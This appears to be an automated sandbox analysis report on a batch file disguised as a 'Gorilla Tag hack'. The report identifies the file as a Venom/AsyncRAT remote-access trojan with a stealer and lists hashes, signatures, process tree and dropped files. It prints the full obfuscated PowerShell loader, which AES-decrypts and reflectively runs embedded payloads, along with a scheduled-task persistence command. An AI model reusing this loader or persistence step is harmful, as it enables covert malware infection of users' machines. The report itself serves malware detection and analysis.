Analysis

  • max time kernel
    137s
  • max time network
    146s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    17-08-2024 01:34

General

  • Target

    Gorillataghack.bat

  • Size

    82KB

  • MD5

    0ad188366779a1805b951b1425a2d189

  • SHA1

    12d28ddc3bd166b0e39f698c2f3bdb5f549bbcd0

  • SHA256

    c47c18e4d651aa92dc1b73195fcb3732f65bc5d756e2be4d059c18302d4521f9

  • SHA512

    c0f727ba93ab84e515c6cbad121cf0b3a994a7ff9ca44aa74ec56a89fdd436f1b666f8fb0670f9ab4231a32d2baf683a6c36b45a300bfabd24171046ae2f5c8f

  • SSDEEP

    1536:ZIO65riaIdL6rVhkck+f7YChR1bSk4sUgG2Zc3LU:ZIOi4pCUh+fx9NHTGagI

Malware Config

Extracted

Family

asyncrat

Version

Venom RAT + HVNC + Stealer + Grabber v6.0.3

Botnet

Default

C2

127.0.0.1:38173

Mutex

dyobgaczaqehqhovs

Attributes
  • delay

    1

  • install

    true

  • install_file

    gorillataghack.exe

  • install_folder

    %AppData%

aes.plain

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

  • Async RAT payload 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Delays execution with timeout.exe 1 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 27 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 16 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Gorillataghack.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:640
    • C:\Windows\system32\net.exe
      net file
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3320
      • C:\Windows\system32\net1.exe
        C:\Windows\system32\net1 file
        3⤵
          PID:2896
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('DbZ9tqJBVMVWIuUt+CFLVGJwPH4Yb6Ql+IH0apxvlrI='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OdrwPh1XnJAG52TdN4OUwA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $rixmV=New-Object System.IO.MemoryStream(,$param_var); $kPvjA=New-Object System.IO.MemoryStream; $QiHHr=New-Object System.IO.Compression.GZipStream($rixmV, [IO.Compression.CompressionMode]::Decompress); $QiHHr.CopyTo($kPvjA); $QiHHr.Dispose(); $rixmV.Dispose(); $kPvjA.Dispose(); $kPvjA.ToArray();}function execute_function($param_var,$param2_var){ $JleoC=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uDalF=$JleoC.EntryPoint; $uDalF.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Gorillataghack.bat';$bGCOv=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Gorillataghack.bat').Split([Environment]::NewLine);foreach ($LfoqO in $bGCOv) { if ($LfoqO.StartsWith(':: ')) { $hBxae=$LfoqO.Substring(3); break; }}$payloads_var=[string[]]$hBxae.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2744
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "gorillataghack" /tr '"C:\Users\Admin\AppData\Roaming\gorillataghack.exe"' & exit
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:1312
          • C:\Windows\system32\schtasks.exe
            schtasks /create /f /sc onlogon /rl highest /tn "gorillataghack" /tr '"C:\Users\Admin\AppData\Roaming\gorillataghack.exe"'
            4⤵
            • Scheduled Task/Job: Scheduled Task
            PID:2184
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpA41F.tmp.bat""
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:856
          • C:\Windows\system32\timeout.exe
            timeout 3
            4⤵
            • Delays execution with timeout.exe
            PID:4712
          • C:\Users\Admin\AppData\Roaming\gorillataghack.exe
            "C:\Users\Admin\AppData\Roaming\gorillataghack.exe"
            4⤵
            • Executes dropped EXE
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1812

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_15s5vvxk.jvo.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Users\Admin\AppData\Local\Temp\tmpA41F.tmp.bat

      Filesize

      158B

      MD5

      bead6f0a387678093d52091f2bd9d0e9

      SHA1

      ab259100ebdeda1e732de53c4ea8ed76edf29b47

      SHA256

      f634f4f23c591224bf98e089f116b0929b48d41502d59b363ec731bd495f7872

      SHA512

      0f51767e0225d1c5196694720eee71e1baccb3a9e44d1fb4e3e0b0a362fa28475eb35dc110dfa027bf5b7d1b4a9627a20a56924b37855b21e8fb6f68e351fca4

    • C:\Users\Admin\AppData\Roaming\gorillataghack.exe

      Filesize

      442KB

      MD5

      04029e121a0cfa5991749937dd22a1d9

      SHA1

      f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

      SHA256

      9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

      SHA512

      6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

    • memory/1812-37-0x000002EEC96B0000-0x000002EEC9726000-memory.dmp

      Filesize

      472KB

    • memory/1812-36-0x000002EEC9230000-0x000002EEC9274000-memory.dmp

      Filesize

      272KB

    • memory/2744-11-0x00007FFCBA700000-0x00007FFCBB1C1000-memory.dmp

      Filesize

      10.8MB

    • memory/2744-14-0x000001D7269D0000-0x000001D7269E0000-memory.dmp

      Filesize

      64KB

    • memory/2744-15-0x000001D726A00000-0x000001D726A18000-memory.dmp

      Filesize

      96KB

    • memory/2744-22-0x00007FFCBA700000-0x00007FFCBB1C1000-memory.dmp

      Filesize

      10.8MB

    • memory/2744-13-0x000001D7269C0000-0x000001D7269C8000-memory.dmp

      Filesize

      32KB

    • memory/2744-24-0x00007FFCBA700000-0x00007FFCBB1C1000-memory.dmp

      Filesize

      10.8MB

    • memory/2744-12-0x00007FFCBA700000-0x00007FFCBB1C1000-memory.dmp

      Filesize

      10.8MB

    • memory/2744-0-0x00007FFCBA703000-0x00007FFCBA705000-memory.dmp

      Filesize

      8KB

    • memory/2744-6-0x000001D726770000-0x000001D726792000-memory.dmp

      Filesize

      136KB